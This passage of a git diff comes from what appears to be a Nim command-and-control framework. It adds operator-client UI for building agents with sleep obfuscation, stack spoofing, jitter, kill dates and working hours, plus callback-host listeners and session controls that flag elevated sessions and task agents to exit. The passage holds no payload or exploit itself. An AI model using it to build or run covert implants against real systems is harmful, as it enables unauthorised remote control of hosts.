igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType) - - igSameLine(0.0f, 0.0f) - igTextUnformatted(item.text.cstring, nil) + component.buildLog.clear() proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBuildInformation = @@ -110,6 +118,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui igSetNextItemWidth(availableSize.x) igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32) + # Jitter + igText("Jitter: ") + igSameLine(0.0f, textSpacing) + igSetNextItemWidth(availableSize.x) + igSliderInt("##InputJitter", addr component.jitter, 0, 100, "%d%%", ImGui_SliderFlags_None.int32) + # Agent sleep obfuscation technique dropdown selection igText("Sleep mask: ") igSameLine(0.0f, textSpacing) @@ -127,6 +141,52 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui igCheckbox("##InputSpoofStack", addr component.spoofStack) igEndDisabled() + # Verbose mode checkbox + igText("Verbose: ") + igSameLine(0.0f, textSpacing) + igSetNextItemWidth(availableSize.x) + igCheckbox("##InputVerbose", addr component.verbose) + + igDummy(vec2(0.0f, 10.0f)) + igSeparator() + igDummy(vec2(0.0f, 10.0f)) + + # Kill date (checkbox & button to choose date) + igText("Kill date: ") + igSameLine(0.0f, textSpacing) + igCheckbox("##InputKillDate", addr component.killDateEnabled) + igSameLine(0.0f, textSpacing) + + igBeginDisabled(not component.killDateEnabled) + igGetContentRegionAvail(addr availableSize) + igSetNextItemWidth(availableSize.x) + if igButton((if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") & " UTC" else: "Configure##KillDate").cstring, vec2(-1.0f, 0.0f)): + igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32) + igEndDisabled() + + let killDate = component.killDateModal.draw() + if killDate != 0: + component.killDate = killDate + + # Working hours + igText("Working hours: ") + igSameLine(0.0f, textSpacing) + igCheckbox("##InputWorkingHours", addr component.workingHoursEnabled) + igSameLine(0.0f, textSpacing) + + igBeginDisabled(not component.workingHoursEnabled) + igGetContentRegionAvail(addr availableSize) + igSetNextItemWidth(availableSize.x) + + let workingHoursLabel = fmt"{component.workingHours.startHour:02}:{component.workingHours.startMinute:02} - {component.workingHours.endHour:02}:{component.workingHours.endMinute:02}" + if igButton((if component.workingHours.enabled: workingHoursLabel else: "Configure##WorkingHours").cstring, vec2(-1.0f, 0.0f)): + igOpenPopup_str("Configure Working Hours", ImGui_PopupFlags_None.int32) + igEndDisabled() + + let workingHours = component.workingHoursModal.draw() + if workingHours.enabled: + component.workingHours = workingHours + igDummy(vec2(0.0f, 10.0f)) igSeparator() igDummy(vec2(0.0f, 10.0f)) @@ -142,32 +202,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui igDummy(vec2(0.0f, 10.0f)) igText("Build log: ") - try: - # Set styles of the eventlog window - igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f)) - igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f)) - igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f)) - igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f) - - let buildLogHeight = 250.0f - let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32 - if igBeginChild_Str("##Log", vec2(-1.0f, buildLogHeight), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32): - # Display eventlog items - for item in component.buildLog.items: - component.print(item) - - # Auto-scroll to bottom - if igGetScrollY() >= igGetScrollMaxY(): - igSetScrollHereY(1.0f) - - except IndexDefect: - # CTRL+A crashes when no items are in the eventlog - discard - - finally: - igPopStyleColor(3) - igPopStyleVar(1) - igEndChild() + let buildLogHeight = igGetTextLineHeightWithSpacing() * 7.0f + igGetStyle().ItemSpacing.y + component.buildLog.draw(vec2(-1.0f, buildLogHeight)) igDummy(vec2(0.0f, 10.0f)) igSeparator() @@ -178,6 +214,8 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui if igButton("Build", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + component.buildLog.clear() + # Iterate over modules var modules: uint32 = 0 for m in component.moduleSelection.items[1]: @@ -185,9 +223,15 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui result = AgentBuildInformation( listenerId: listeners[component.listener].listenerId, - sleepDelay: component.sleepDelay, - sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), - spoofStack: component.spoofStack, + sleepSettings: SleepSettings( + sleepDelay: component.sleepDelay, + jitter: cast[uint32](component.jitter), + sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask), + spoofStack: component.spoofStack, + workingHours: if component.workingHoursEnabled: component.workingHours else: WorkingHours(enabled: false, startHour: 0, startMinute: 0, endHour: 0, endMinute: 0) + ), + verbose: component.verbose, + killDate: if component.killDateEnabled: component.killDate else: 0, modules: modules ) diff --git a/src/client/views/modals/startListener.nim b/src/client/views/modals/startListener.nim index 7aeca28..92dbf73 100644 --- a/src/client/views/modals/startListener.nim +++ b/src/client/views/modals/startListener.nim @@ -1,5 +1,5 @@ import strutils -import imguin/[cimgui, glfw_opengl, simple] +import imguin/[cimgui, glfw_opengl] import ../../utils/appImGui import ../../../common/[types, utils] @@ -7,22 +7,25 @@ const DEFAULT_PORT = 8080'u16 type ListenerModalComponent* = ref object of RootObj - address: array[256, char] - port: uint16 + callbackHosts: array[256 * 32, char] + bindAddress: array[256, char] + bindPort: uint16 protocol: int32 protocols: seq[string] proc ListenerModal*(): ListenerModalComponent = result = new ListenerModalComponent - zeroMem(addr result.address[0], 256) - result.port = DEFAULT_PORT + zeroMem(addr result.callbackHosts[0], 256 * 32) + zeroMem(addr result.bindAddress[0], 256) + result.bindPort = DEFAULT_PORT result.protocol = 0 for p in Protocol.low .. Protocol.high: result.protocols.add($p) proc resetModalValues(component: ListenerModalComponent) = - zeroMem(addr component.address[0], 256) - component.port = DEFAULT_PORT + zeroMem(addr component.callbackHosts[0], 256 * 32) + zeroMem(addr component.bindAddress[0], 256) + component.bindPort = DEFAULT_PORT component.protocol = 0 proc draw*(component: ListenerModalComponent): UIListener = @@ -43,28 +46,41 @@ proc draw*(component: ListenerModalComponent): UIListener = defer: igEndPopup() var availableSize: ImVec2 - igGetContentRegionAvail(addr availableSize) - # Listener address - igText("Host: ") + # Listener protocol/type dropdown selection + igText("Protocol: ") igSameLine(0.0f, textSpacing) igGetContentRegionAvail(addr availableSize) igSetNextItemWidth(availableSize.x) - igInputTextWithHint("##InputAddress", "127.0.0.1", addr component.address[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil) - - # Listener port - let step: uint16 = 1 - igText("Port: ") - igSameLine(0.0f, textSpacing) - igSetNextItemWidth(availableSize.x) - igInputScalar("##InputPort", ImGuiDataType_U16.int32, addr component.port, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32) - - # Listener protocol dropdown selection - igText("Protocol: ") - igSameLine(0.0f, textSpacing) - igSetNextItemWidth(availableSize.x) igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32) + + igDummy(vec2(0.0f, 10.0f)) + igSeparator() + igDummy(vec2(0.0f, 10.0f)) + # HTTP Listener settings + if component.protocols[component.protocol] == $HTTP: + # Listener bindAddress + igText("Host (Bind): ") + igSameLine(0.0f, textSpacing) + igGetContentRegionAvail(addr availableSize) + igSetNextItemWidth(availableSize.x) + igInputTextWithHint("##InputAddressBind", "0.0.0.0", cast[cstring](addr component.bindAddress[0]), 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil) + + # Listener bindPort + let step: uint16 = 1 + igText("Port (Bind): ") + igSameLine(0.0f, textSpacing) + igSetNextItemWidth(availableSize.x) + igInputScalar("##InputPortBind", ImGuiDataType_U16.int32, addr component.bindPort, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32) + + # Callback hosts + igText("Hosts (Callback): ") + igSameLine(0.0f, textSpacing) + igGetContentRegionAvail(addr availableSize) + igSetNextItemWidth(availableSize.x) + igInputTextMultiline("##InputCallbackHosts", cast[cstring](addr component.callbackHosts[0]), 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil) + igGetContentRegionAvail(addr availableSize) igDummy(vec2(0.0f, 10.0f)) @@ -72,13 +88,43 @@ proc draw*(component: ListenerModalComponent): UIListener = igDummy(vec2(0.0f, 10.0f)) # Only enabled the start button when valid values have been entered - igBeginDisabled(($(addr component.address[0]) == "") or (component.port <= 0)) + igBeginDisabled(($cast[cstring]((addr component.bindAddress[0])) == "") or (component.bindPort <= 0)) - if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)): + + # Process input values + var hosts: string = "" + let + callbackHosts = $cast[cstring]((addr component.callbackHosts[0])) + bindAddress = $cast[cstring]((addr component.bindAddress[0])) + bindPort = int(component.bindPort) + + if callbackHosts.isEmptyOrWhitespace(): + hosts &= bindAddress & ":" & $bindPort + + else: + for host in callbackHosts.splitLines(): + if host.isEmptyOrWhitespace(): + continue + + hosts &= ";" + let hostParts = host.split(":") + if hostParts.len() == 2: + if not hostParts[1].isEmptyOrWhitespace(): + hosts &= hostParts[0] & ":" & hostParts[1] + else: + hosts &= hostParts[0] & ":" & $bindPort + elif hostParts.len() == 1 and not hostParts[0].isEmptyOrWhitespace(): + hosts &= hostParts[0] & ":" & $bindPort + + hosts.removePrefix(";") + + # Return new listener object result = UIListener( listenerId: generateUUID(), - address: $(addr component.address[0]), - port: int(component.port), + hosts: hosts, + address: bindAddress, + port: bindPort, protocol: cast[Protocol](component.protocol) ) component.resetModalValues() diff --git a/src/client/views/sessions.nim b/src/client/views/sessions.nim index ad1a232..dae6d65 100644 --- a/src/client/views/sessions.nim +++ b/src/client/views/sessions.nim @@ -2,14 +2,17 @@ import times, tables, strformat, strutils, algorithm import imguin/[cimgui, glfw_opengl, simple] import ./console +import ../core/[task, websocket] import ../utils/[appImGui, colors] -import ../../common/[types, utils] +import ../../modules/manager +import ../../common/types type SessionsTableComponent* = ref object of RootObj title: string agents*: seq[UIAgent] - agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin + agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin + agentImpersonation*: Table[string, string] selection: ptr ImGuiSelectionBasicStorage consoles: ptr Table[string, ConsoleComponent] @@ -38,12 +41,14 @@ proc interact(component: SessionsTableComponent) = # Focus the existing console window else: - igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}") + igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring) component.selection.ImGuiSelectionBasicStorage_Clear() -proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = - igBegin(component.title, showComponent, 0) +proc draw*(component: SessionsTableComponent, showComponent: ptr bool, connection: WsConnection) = + igBegin(component.title.cstring, showComponent, 0) + + let textSpacing = igGetStyle().ItemSpacing.x let tableFlags = ( ImGuiTableFlags_Resizable.int32 or @@ -64,8 +69,8 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0) igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) - igTableSetupColumn("Internal", ImGuiTableColumnFlags_None.int32, 0.0f, 0) - igTableSetupColumn("External", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) + igTableSetupColumn("IP (Internal)", ImGuiTableColumnFlags_None.int32, 0.0f, 0) + igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0) igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0) igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0) @@ -84,47 +89,58 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = # Sort sessions table based on first checkin component.agents.sort(cmp) for row, agent in component.agents: - igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f) if igTableSetColumnIndex(0): # Enable multi-select functionality igSetNextItemSelectionUserData(row) var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](row)) - discard igSelectable_Bool(agent.agentId, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f)) + # Highlight high integrity sessions in red + if agent.elevated: + igPushStyleColor_Vec4(ImGui_Col_Text.cint, CONSOLE_ERROR) + + discard igSelectable_Bool(agent.agentId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f)) + + if agent.elevated: + igPopStyleColor(1) + # Interact with session on double-click if igIsMouseDoubleClicked_Nil(ImGui_MouseButton_Left.int32): component.interact() if igTableSetColumnIndex(1): - igText(agent.listenerId) + igText(agent.listenerId.cstring) if igTableSetColumnIndex(2): - igText(agent.ipInternal) + igText(agent.ipInternal.cstring) if igTableSetColumnIndex(3): - igText(agent.ipExternal) + igText(agent.ipExternal.cstring) if igTableSetColumnIndex(4): - igText(agent.username) + + igText(agent.username.cstring) + if component.agentImpersonation.hasKey(agent.agentId): + igSameLine(0.0f, textSpacing) + igText(fmt"[{component.agentImpersonation[agent.agentId]}]".cstring) + if igTableSetColumnIndex(5): - igText(agent.hostname) + igText(agent.hostname.cstring) if igTableSetColumnIndex(6): - igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain) + igText(agent.domain.cstring) if igTableSetColumnIndex(7): - igText(agent.os) + igText(agent.os.cstring) if igTableSetColumnIndex(8): - igText(agent.process) + igText(agent.process.cstring) if igTableSetColumnIndex(9): - igText($agent.pid) + igText(($agent.pid).cstring) if igTableSetColumnIndex(10): let duration = now() - agent.firstCheckin.fromUnix().local() let totalSeconds = duration.inSeconds - + let hours = totalSeconds div 3600 let minutes = (totalSeconds mod 3600) div 60 let seconds = totalSeconds mod 60 - let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") - igText(fmt"{timeText} ago") + igText(fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago".cstring) if igTableSetColumnIndex(11): let duration = now() - component.agentActivity[agent.agentId].fromUnix().local() @@ -134,12 +150,11 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = let minutes = (totalSeconds mod 3600) div 60 let seconds = totalSeconds mod 60 - let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss") - + let timeText = fmt"{hours:02d}:{minutes:02d}:{seconds:02d} ago" if totalSeconds > agent.sleep: - igTextColored(GRAY, fmt"{timeText} ago") + igTextColored(GRAY, timeText.cstring) else: - igText(fmt"{timeText} ago") + igText(timeText.cstring) # Handle right-click context menu # Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected @@ -149,12 +164,44 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) = component.interact() igCloseCurrentPopup() + if igBeginMenu("Exit", true): + if igMenuItem("Process", nil, false, true): + for i, agent in component.agents: + if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)): + if component.consoles[].hasKey(agent.agentId): + component.consoles[][agent.agentId].handleAgentCommand(connection, "exit process") + else: + let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["process"]) + connection.sendAgentTask(agent.agentId, "exit process", task) + + ImGuiSelectionBasicStorage_Clear(component.selection) + igCloseCurrentPopup() + + if igMenuItem("Thread", nil, false, true): + for i, agent in component.agents: + if ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)): + if component.consoles[].hasKey(agent.agentId): + component.consoles[][agent.agentId].handleAgentCommand(connection, "exit thread") + else: + let task = createTask(agent.agentId, agent.listenerId, getCommandByType(CMD_EXIT), @["thread"]) + connection.sendAgentTask(agent.agentId, "exit thread", task) + + ImGuiSelectionBasicStorage_Clear(component.selection) + igCloseCurrentPopup() + + igEndMenu() + + igSeparator() + if igMenuItem("Remove", nil, false, true): # Update agents table with only non-selected ones var newAgents: seq[UIAgent] = @[] for i, agent in component.agents: if not ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i)): newAgents.add(agent) + else: + # Send message to team server to remove delete the agent from the database and stop it from re-appearing when the client is restarted + connection.sendAgentRemove(agent.agentId) component.agents = newAgents ImGuiSelectionBasicStorage_Clear(component.selection) diff --git a/src/client/views/widgets/dualListSelection.nim b/src/client/views/widgets/dualListSelection.nim index 9e6fe07..5116c3b 100644 --- a/src/client/views/widgets/dualListSelection.nim +++ b/src/client/views/widgets/dualListSelection.nim @@ -1,10 +1,9 @@ -import strutils, sequtils, algorithm -import imguin/[cimgui, glfw_opengl, simple] -import ../../utils/[appImGui, colors, utils] -import ../../../common/[types, utils] +import sequtils, algorithm +import imguin/[cimgui, glfw_opengl] +import ../../utils/[appImGui, colors] type - DualListSelectionComponent*[T] = ref object of RootObj + DualListSelectionWidget*[T] = ref object of RootObj items*: array[2, seq[T]] selection: array[2, ptr ImGuiSelectionBasicStorage] display: proc(item: T): string @@ -14,8 +13,8 @@ type proc defaultDisplay[T](item: T): string = return $item -proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defaultDisplay, compare: proc(x, y: T): int, tooltip: proc(item: T): string = nil): DualListSelectionComponent[T] = - result = new DualListSelectionComponent[T] +proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defaultDisplay, compare: proc(x, y: T): int, tooltip: proc(item: T): string = nil): DualListSelectionWidget[T] = + result = new DualListSelectionWidget[T] result.items[0] = items result.items[1] = @[] result.selection[0] = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage() @@ -24,7 +23,7 @@ proc DualListSelection*[T](items: seq[T], display: proc(item: T): string = defau result.compare = compare result.tooltip = tooltip -proc moveAll[T](component: DualListSelectionComponent[T], src, dst: int) = +proc moveAll[T](component: DualListSelectionWidget[T], src, dst: int) = for m in component.items[src]: component.items[dst].add(m) component.items[dst].sort(component.compare) @@ -33,7 +32,7 @@ proc moveAll[T](component: DualListSelectionComponent[T], src, dst: int) = ImGuiSelectionBasicStorage_Swap(component.selection[src], component.selection[dst]) ImGuiSelectionBasicStorage_Clear(component.selection[src]) -proc moveSelection[T](component: DualListSelectionComponent[T], src, dst: int) = +proc moveSelection[T](component: DualListSelectionWidget[T], src, dst: int) = var keep: seq[T] for i in 0 ..< component.items[src].len(): let item = component.items[src][i] @@ -47,10 +46,10 @@ proc moveSelection[T](component: DualListSelectionComponent[T], src, dst: int) = ImGuiSelectionBasicStorage_Swap(component.selection[src], component.selection[dst]) ImGuiSelectionBasicStorage_Clear(component.selection[src]) -proc reset*[T](component: DualListSelectionComponent[T]) = +proc reset*[T](component: DualListSelectionWidget[T]) = component.moveAll(1, 0) -proc draw*[T](component: DualListSelectionComponent[T]) = +proc draw*[T](component: DualListSelectionWidget[T]) = if igBeginTable("split", 3, ImGuiTableFlags_None.int32, vec2(0.0f, 0.0f), 0.0f): @@ -70,9 +69,9 @@ proc draw*[T](component: DualListSelectionComponent[T]) = # Header var text = "Available" var textSize: ImVec2 - igCalcTextSize(addr textSize, text, nil, false, 0.0f) + igCalcTextSize(addr textSize, text.cstring, nil, false, 0.0f) igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(0) - textSize.x) * 0.5f) - igTextColored(GRAY, text) + igTextColored(GRAY, text.cstring) # Set the size of selection box to fit all modules igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing())) @@ -86,7 +85,7 @@ proc draw*[T](component: DualListSelectionComponent[T]) = for row in 0 ..< modules.len().int32: var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row)) igSetNextItemSelectionUserData(row) - discard igSelectable_Bool(component.display(modules[row]), isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f)) + discard igSelectable_Bool(component.display(modules[row]).cstring, isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f)) if not component.tooltip.isNil(): setTooltip(component.tooltip(modules[row])) @@ -125,9 +124,9 @@ proc draw*[T](component: DualListSelectionComponent[T]) = # Header text = "Selected" - igCalcTextSize(addr textSize, text, nil, false, 0.0f) + igCalcTextSize(addr textSize, text.cstring, nil, false, 0.0f) igSetCursorPosX(igGetCursorPosX() + (igGetColumnWidth(2) - textSize.x) * 0.5f) - igTextColored(GRAY, text) + igTextColored(GRAY, text.cstring) # Set the size of selection box to fit all modules igSetNextWindowContentSize(vec2(0.0f, float(modules.len()) * igGetTextLineHeightWithSpacing())) @@ -139,7 +138,7 @@ proc draw*[T](component: DualListSelectionComponent[T]) = for row in 0 ..< modules.len().int32: var isSelected = ImGuiSelectionBasicStorage_Contains(selection, cast[ImGuiID](row)) igSetNextItemSelectionUserData(row) - discard igSelectable_Bool(component.display(modules[row]), isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f)) + discard igSelectable_Bool(component.display(modules[row]).cstring, isSelected, ImGuiSelectableFlags_AllowDoubleClick.int32, vec2(0.0f, 0.0f)) if not component.tooltip.isNil(): setTooltip(component.tooltip(modules[row])) diff --git a/src/client/views/widgets/textarea.nim b/src/client/views/widgets/textarea.nim new file mode 100644 index 0000000..b0128d2 --- /dev/null +++ b/src/client/views/widgets/textarea.nim @@ -0,0 +1,123 @@ +import strutils, times +import imguin/[cimgui, glfw_opengl] +import ../../utils/[appImGui, colors] +import ../../../common/types + +type + TextareaWidget* = ref object of RootObj + content: ConsoleItems + contentDisplayed: ConsoleItems + textSelect: ptr TextSelect + showTimestamps: bool + autoScroll: bool + +# Text highlighting +proc getText(item: ConsoleItem): cstring = + if item.itemType != LOG_OUTPUT: + return ("[" & item.timestamp & "]" & $item.itemType & item.text).cstring + else: + return ($item.itemType & item.text).cstring + +proc getNumLines(data: pointer): csize_t {.cdecl.} = + if data.isNil: + return 0 + let content = cast[ConsoleItems](data) + return content.items.len().csize_t + +proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} = + if data.isNil: + return nil + let content = cast[ConsoleItems](data) + let line = content.items[i].getText() + if not outLen.isNil: + outLen[] = line.len.csize_t + return line + +proc Textarea*(showTimestamps: bool = true, autoScroll: bool = true): TextareaWidget = + result = new TextareaWidget + result.content = new ConsoleItems + result.content.items = @[] + result.contentDisplayed = new ConsoleItems + result.contentDisplayed.items = @[] + result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.contentDisplayed), 0) + result.showTimestamps = showTimestamps + result.autoScroll = autoScroll + +# API to add new content entry +proc addItem*(component: TextareaWidget, itemType: LogType, data: string, timestamp: string = now().format("dd-MM-yyyy HH:mm:ss")) = + for line in data.split("\n"): + component.content.items.add(ConsoleItem( + timestamp: timestamp, + itemType: itemType, + text: line + )) + +proc clear*(component: TextareaWidget) = + component.content.items.setLen(0) + component.contentDisplayed.items.setLen(0) + component.textSelect.textselect_clear_selection() + +proc isEmpty*(component: TextareaWidget): bool = + return component.content.items.len() <= 0 + +# Drawing +proc print(component: TextareaWidget, item: ConsoleItem) = + if item.itemType != LOG_OUTPUT and component.showTimestamps: + igTextColored(GRAY, ("[" & item.timestamp & "]").cstring, nil) + igSameLine(0.0f, 0.0f) + + case item.itemType: + of LOG_INFO, LOG_INFO_SHORT: + igTextColored(CONSOLE_INFO, ($item.itemType).cstring) + of LOG_ERROR, LOG_ERROR_SHORT: + igTextColored(CONSOLE_ERROR, ($item.itemType).cstring) + of LOG_SUCCESS, LOG_SUCCESS_SHORT: + igTextColored(CONSOLE_SUCCESS, ($item.itemType).cstring) + of LOG_WARNING, LOG_WARNING_SHORT: + igTextColored(CONSOLE_WARNING, ($item.itemType).cstring) + of LOG_COMMAND: + igTextColored(CONSOLE_COMMAND, ($item.itemType).cstring) + of LOG_OUTPUT: + igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), ($item.itemType).cstring) + + igSameLine(0.0f, 0.0f) + igTextUnformatted(item.text.cstring, nil) + +proc draw*(component: TextareaWidget, size: ImVec2, filter: ptr ImGuiTextFilter = nil) = + try: + # Set styles of the eventlog window + igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f)) + igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f)) + igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f)) + igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f) + + let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32 + if igBeginChild_Str("##TextArea", size, childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32): + + # Display items + component.contentDisplayed.items.setLen(0) + for item in component.content.items: + + # Handle search/filter + if not filter.isNil(): + if filter.ImGuiTextFilter_IsActive(): + if not filter.ImGuiTextFilter_PassFilter(item.getText(), nil): + continue + component.contentDisplayed.items.add(item) + component.print(item) + + # Auto-scroll to bottom + if component.autoScroll: + if igGetScrollY() >= igGetScrollMaxY(): + igSetScrollHereY(1.0f) + + component.textSelect.textselect_update() + + except IndexDefect: + # CTRL+A crashes when no items are in the text area + discard + + finally: + igPopStyleColor(3) + igPopStyleVar(1) + igEndChild() \ No newline at end of file diff --git a/src/common/crypto.nim b/src/common/crypto.nim index cb814de..b2dc94a 100644 --- a/src/common/crypto.nim +++ b/src/common/crypto.nim @@ -67,15 +67,15 @@ proc crypto_wipe*(data: ptr byte, size: csize_t) {.importc, cdecl.} # Generate X25519 public key from private key proc getPublicKey*(privateKey: Key): Key = - crypto_x25519_public_key(result[0].addr, privateKey[0].addr) + crypto_x25519_public_key(addr result[0], addr privateKey[0]) # Perform X25519 key exchange proc keyExchange*(privateKey: Key, publicKey: Key): Key = - crypto_x25519(result[0].addr, privateKey[0].addr, publicKey[0].addr) + crypto_x25519(addr result[0], addr privateKey[0], addr publicKey[0]) # Calculate Blake2b hash func pointerAndLength*(bytes: openArray[byte]): (ptr[byte], uint) = - result = (cast[ptr[byte]](unsafeAddr bytes), uint(len(bytes))) + result = (cast[ptr[byte]](addr bytes), uint(len(bytes))) func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, byte] = let (messagePtr, messageLen) = pointerAndLength(message) @@ -86,7 +86,7 @@ func blake2b*(message: openArray[byte], key: openArray[byte] = []): array[64, by # Secure memory wiping proc wipeKey*(data: var openArray[byte]) = if data.len > 0: - crypto_wipe(data[0].addr, data.len.csize_t) + crypto_wipe(addr data[0], data.len.csize_t) # Key pair generation proc generateKeyPair*(): KeyPair = @@ -114,7 +114,7 @@ proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key = # Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b) let hash = blake2b(hashMessage, sharedSecret) - copyMem(key[0].addr, hash[0].addr, sizeof(Key)) + copyMem(addr key[0], addr hash[0], sizeof(Key)) # Cleanup wipeKey(sharedSecret) diff --git a/src/common/event.nim b/src/common/event.nim index 3c4d6af..8d0979b 100644 --- a/src/common/event.nim +++ b/src/common/event.nim @@ -10,9 +10,7 @@ proc sendEvent*(ws: WebSocket, event: Event, key: Key = default(Key)) = var packer = Packer.init() let iv = generateBytes(Iv) - - var - data = string.toBytes($event.data) + var data = string.toBytes($event.data) packer.add(cast[uint8](event.eventType)) packer.add(cast[uint32](event.timestamp)) diff --git a/src/common/profile.nim b/src/common/profile.nim index 99de27c..4204231 100644 --- a/src/common/profile.nim +++ b/src/common/profile.nim @@ -30,7 +30,6 @@ proc getRandom*(values: seq[TomlValueRef]): TomlValueRef = return values[rand(values.len - 1)] proc getStringValue*(key: TomlValueRef, default: string = ""): string = - # In some cases, the profile can define multiple values for a key, e.g. for HTTP headers # A random entry is selected from these specifications var value: string = "" diff --git a/src/common/sequence.nim b/src/common/sequence.nim index ea8dad6..e25679d 100644 --- a/src/common/sequence.nim +++ b/src/common/sequence.nim @@ -7,6 +7,7 @@ proc nextSequence*(agentId: uint32): uint32 = sequenceTable[agentId] = sequenceTable.getOrDefault(agentId, 0'u32) + 1 return sequenceTable[agentId] +# Sequence tracking is currently broken and needs to be reworked proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool = # let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32) @@ -20,7 +21,7 @@ proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool = # return true # # Validate that the sequence number of the current packet is higher than the currently stored one - # if seqNr <= lastSeqNr: + # if seqNr < lastSeqNr: # return false # # Update sequence number diff --git a/src/common/serialize.nim b/src/common/serialize.nim index 04f9632..325c439 100644 --- a/src/common/serialize.nim +++ b/src/common/serialize.nim @@ -17,7 +17,7 @@ proc add*[T: uint8 | uint16 | uint32 | 